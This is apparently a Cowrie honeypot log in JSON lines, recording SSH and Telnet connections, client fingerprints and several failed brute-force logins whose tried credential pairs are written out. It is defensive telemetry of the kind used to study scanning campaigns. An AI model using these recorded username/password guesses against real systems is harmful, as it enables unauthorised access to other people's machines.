{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:54:29.846434Z","src_ip":"61.155.106.101","session":"4af202c79712","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:54:30.115770Z","src_ip":"61.155.106.101","session":"4af202c79712","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.54929542541504,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:54:30.125762Z","src_ip":"137.184.155.248","session":"4cda86b9da5c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qa2ws3ed","message":"login attempt [ubuntu/1qa2ws3ed] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:54:31.180805Z","src_ip":"61.155.106.101","session":"4af202c79712","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.30002689361572,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:54:32.408121Z","src_ip":"137.184.155.248","session":"03de12084de6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:54:32.447958Z","src_ip":"61.155.106.101","session":"4af202c79712","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.224037408828735,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:54:33.358486Z","src_ip":"137.184.155.248","session":"3e5c2d3d908d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":48456,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c26dd9c63f0","protocol":"telnet","message":"New connection: 137.184.155.248:48456 (10.17.0.5:23) [session: 7c26dd9c63f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:54:34.551033Z"}
{"eventid":"cowrie.session.closed","duration":46.11769700050354,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:54:35.304651Z","src_ip":"137.184.155.248","session":"9675c2403494","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.72431445121765,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:54:37.250186Z","src_ip":"137.184.155.248","session":"916ba3565612","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":48466,"dst_ip":"10.17.0.5","dst_port":23,"session":"48377168701f","protocol":"telnet","message":"New connection: 137.184.155.248:48466 (10.17.0.5:23) [session: 48377168701f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:54:37.605877Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":48476,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8c566ed05b5","protocol":"telnet","message":"New connection: 137.184.155.248:48476 (10.17.0.5:23) [session: a8c566ed05b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:54:39.360832Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":48486,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d6705fd31e0","protocol":"telnet","message":"New connection: 137.184.155.248:48486 (10.17.0.5:23) [session: 5d6705fd31e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:54:42.264226Z"}
{"eventid":"cowrie.session.closed","duration":48.367860317230225,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:54:45.384663Z","src_ip":"137.184.155.248","session":"91d1ee066f06","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.658884048461914,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:54:45.514337Z","src_ip":"137.184.155.248","session":"0805af573401","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.60392189025879,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:54:47.361981Z","src_ip":"137.184.155.248","session":"3787d45e1c6c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.47319030761719,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:54:49.349991Z","src_ip":"137.184.155.248","session":"cb3aaf015cab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.0227746963501,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:54:52.740071Z","src_ip":"137.184.155.248","session":"f118b4b47464","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.135.241.105","src_port":27238,"dst_ip":"159.203.135.109","dst_port":23,"session":"d248acf8e965","protocol":"telnet","message":"New connection: 139.135.241.105:27238 (159.203.135.109:23) [session: d248acf8e965]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:54:56.578335Z"}
{"eventid":"cowrie.session.closed","duration":47.253039598464966,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:54:59.219210Z","src_ip":"137.184.155.248","session":"62b809d3b153","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":52806,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff77e82b5674","protocol":"telnet","message":"New connection: 137.184.155.248:52806 (10.17.0.5:23) [session: ff77e82b5674]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:55:00.621103Z"}
{"eventid":"cowrie.session.closed","duration":120.00179648399353,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:55:01.192847Z","src_ip":"189.219.54.254","session":"2ead0adf1432","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00129199028015,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:55:01.448781Z","src_ip":"189.219.54.254","session":"5db2aedae6e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"189.219.54.254","src_port":43548,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c9a48100ba6","protocol":"telnet","message":"New connection: 189.219.54.254:43548 (10.17.0.5:23) [session: 8c9a48100ba6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:55:01.608284Z"}
{"eventid":"cowrie.session.connect","src_ip":"189.219.54.254","src_port":43550,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ddd673856fd","protocol":"telnet","message":"New connection: 189.219.54.254:43550 (10.17.0.5:23) [session: 8ddd673856fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:55:01.699074Z"}
{"eventid":"cowrie.session.closed","duration":120.00110912322998,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:55:02.316061Z","src_ip":"189.219.54.254","session":"8457c3b1927c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"189.219.54.254","src_port":43558,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ce2195589f7","protocol":"telnet","message":"New connection: 189.219.54.254:43558 (10.17.0.5:23) [session: 3ce2195589f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:55:02.511159Z"}
{"eventid":"cowrie.session.closed","duration":120.00121068954468,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:55:03.890164Z","src_ip":"189.219.54.254","session":"76d330c59616","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"189.219.54.254","src_port":57188,"dst_ip":"10.17.0.5","dst_port":23,"session":"d13547ed7e1f","protocol":"telnet","message":"New connection: 189.219.54.254:57188 (10.17.0.5:23) [session: d13547ed7e1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:55:04.364711Z"}
{"eventid":"cowrie.session.closed","duration":41.680946350097656,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:55:05.494073Z","src_ip":"137.184.155.248","session":"66516ea8e10a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"112.151.178.49","src_port":60109,"dst_ip":"10.17.0.5","dst_port":22,"session":"c19106895495","protocol":"ssh","message":"New connection: 112.151.178.49:60109 (10.17.0.5:22) [session: c19106895495]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:55:07.349330Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:55:07.361006Z","src_ip":"112.151.178.49","session":"c19106895495","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:55:07.566454Z","src_ip":"112.151.178.49","session":"c19106895495","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":35904,"dst_ip":"159.203.135.109","dst_port":22,"session":"6eb4740862ec","protocol":"ssh","message":"New connection: 202.125.94.71:35904 (159.203.135.109:22) [session: 6eb4740862ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:55:07.631639Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:55:07.637080Z","src_ip":"202.125.94.71","session":"6eb4740862ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:55:07.905095Z","src_ip":"202.125.94.71","session":"6eb4740862ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.55190658569336,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:55:07.916817Z","src_ip":"137.184.155.248","session":"5e62276cf4c0","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"fuser","password":"fuser","message":"login attempt [fuser/fuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:55:08.410562Z","src_ip":"112.151.178.49","session":"c19106895495","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxcvbnm,","message":"login attempt [root/zxcvbnm,] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:55:09.339591Z","src_ip":"202.125.94.71","session":"6eb4740862ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:55:09.617074Z","src_ip":"112.151.178.49","session":"c19106895495","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.32786512374878,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:55:09.906075Z","src_ip":"139.135.241.105","session":"d248acf8e965","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:55:10.610250Z","src_ip":"202.125.94.71","session":"6eb4740862ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":42990,"dst_ip":"10.17.0.5","dst_port":23,"session":"86c88b706c03","protocol":"telnet","message":"New connection: 137.184.155.248:42990 (10.17.0.5:23) [session: 86c88b706c03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:55:12.656968Z"}
{"eventid":"cowrie.session.connect","src_ip":"203.90.110.186","src_port":55034,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6e1ce24344d","protocol":"ssh","message":"New connection: 203.90.110.186:55034 (10.17.0.5:22) [session: e6e1ce24344d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:55:16.087837Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:55:16.100013Z","src_ip":"203.90.110.186","session":"e6e1ce24344d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:55:16.323269Z","src_ip":"203.90.110.186","session":"e6e1ce24344d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser@2023","message":"login attempt [ftpuser/ftpuser@2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:55:17.237904Z","src_ip":"203.90.110.186","session":"e6e1ce24344d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:55:18.463570Z","src_ip":"203.90.110.186","session":"e6e1ce24344d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.25413393974304,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:55:19.614836Z","src_ip":"137.184.155.248","session":"a8c566ed05b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":43002,"dst_ip":"10.17.0.5","dst_port":23,"session":"64afe88595cc","protocol":"telnet","message":"New connection: 137.184.155.248:43002 (10.17.0.5:23) [session: 64afe88595cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:55:19.769567Z"}
{"eventid":"cowrie.session.closed","duration":47.57595229148865,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:55:22.126885Z","src_ip":"137.184.155.248","session":"7c26dd9c63f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":43010,"dst_ip":"10.17.0.5","dst_port":23,"session":"c567e7b60ce8","protocol":"telnet","message":"New connection: 137.184.155.248:43010 (10.17.0.5:23) [session: c567e7b60ce8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:55:22.190414Z"}
{"eventid":"cowrie.session.closed","duration":44.846696853637695,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:55:22.452477Z","src_ip":"137.184.155.248","session":"48377168701f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.169.229","src_port":58112,"dst_ip":"10.17.0.5","dst_port":22,"session":"7282258731bb","protocol":"ssh","message":"New connection: 148.230.169.229:58112 (10.17.0.5:22) [session: 7282258731bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:55:23.341429Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:55:24.212425Z","src_ip":"148.230.169.229","session":"7282258731bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:55:24.275097Z","src_ip":"148.230.169.229","session":"7282258731bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser2024","message":"login attempt [ftpuser/ftpuser2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:55:24.572615Z","src_ip":"148.230.169.229","session":"7282258731bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.1566116809845,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:55:25.420712Z","src_ip":"137.184.155.248","session":"5d6705fd31e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:55:25.984373Z","src_ip":"148.230.169.229","session":"7282258731bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":34982,"dst_ip":"10.17.0.5","dst_port":23,"session":"89638aaa878a","protocol":"telnet","message":"New connection: 137.184.155.248:34982 (10.17.0.5:23) [session: 89638aaa878a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:55:29.750327Z"}
